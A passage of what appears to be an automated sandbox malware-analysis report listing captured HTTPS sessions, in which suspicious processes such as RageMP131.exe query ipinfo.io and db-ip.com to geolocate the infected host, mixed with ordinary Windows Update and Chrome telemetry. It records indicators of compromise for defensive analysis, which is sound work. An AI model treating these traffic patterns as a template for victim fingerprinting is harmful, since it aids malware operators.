2024-06-20 13:38:43 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:38:43 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49820	104.26.5.15	443	8780	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:44 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 13:38:44 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 13:38:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC466E65:56C0_93878F2E:0050_667430E4_14AC5EB8:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qmLGBHKLeqg95xLexLc1b9WpBg4gHAwcpmmrCrbMfw1KZpdxiVu%2FKXYKe113jof8lh7BSuikxTyskRrXc7rbEH4GHyMONI%2FhelENQAuLZQ1GCLzF%2FKnGglPmIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896c29337a8f0f63-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 13:38:44 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-20 13:38:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49843	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VrO4RO73dUtSVk1&MD=CngaslCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-06-20 13:38:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a582ffa0-a74f-40ee-80fa-2f5679f387ad MS-RequestId: 73c6d07f-33b9-4efe-9265-b4fd629d7dbd MS-CV: FNcNmPgX0keDzJTF.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 20 Jun 2024 13:38:55 GMT Connection: close Content-Length: 30005
2024-06-20 13:38:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-06-20 13:38:55 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49862	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:04 UTC	1329	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=Qmsv6WluUD0O7Ox8wQ2_6BNiBL1mpJqmZYh2joQze5qIuRjUABvm2H1QIoRCwiR9x2xvFMOyo1S4UopHFa0EKXt8CceU0zme8FofzHzJ1YBaoZ8vQ3EujKX_0d16RUDjZwj3NTApvaUYQXdyXpwq1L663AHna5K50IaGgRzFkng
2024-06-20 13:39:04 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 38 38 39 30 37 34 32 36 37 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"21",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1718890742676",null,null,null
2024-06-20 13:39:04 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:39:04 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-06-20 13:39:04 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:39:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49867	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:06 UTC	1329	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 948 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=Qmsv6WluUD0O7Ox8wQ2_6BNiBL1mpJqmZYh2joQze5qIuRjUABvm2H1QIoRCwiR9x2xvFMOyo1S4UopHFa0EKXt8CceU0zme8FofzHzJ1YBaoZ8vQ3EujKX_0d16RUDjZwj3NTApvaUYQXdyXpwq1L663AHna5K50IaGgRzFkng
2024-06-20 13:39:06 UTC	948	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 38 38 39 30 37 34 34 33 33 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"21",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1718890744331",null,null,null
2024-06-20 13:39:06 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:39:06 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-06-20 13:39:06 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:39:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49869	142.250.186.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:06 UTC	1306	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 851 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=Qmsv6WluUD0O7Ox8wQ2_6BNiBL1mpJqmZYh2joQze5qIuRjUABvm2H1QIoRCwiR9x2xvFMOyo1S4UopHFa0EKXt8CceU0zme8FofzHzJ1YBaoZ8vQ3EujKX_0d16RUDjZwj3NTApvaUYQXdyXpwq1L663AHna5K50IaGgRzFkng
2024-06-20 13:39:06 UTC	851	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 36 30 39 2e 30 38 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240609.08_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0
2024-06-20 13:39:07 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 20 Jun 2024 13:39:07 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-06-20 13:39:07 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-06-20 13:39:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49881	34.117.186.192	443	8524	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:11 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:39:11 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:39:11 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:39:11 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 13:39:11 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49884	34.117.186.192	443	8896	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:39:11 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 13:39:11 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:39:11 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:39:11 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
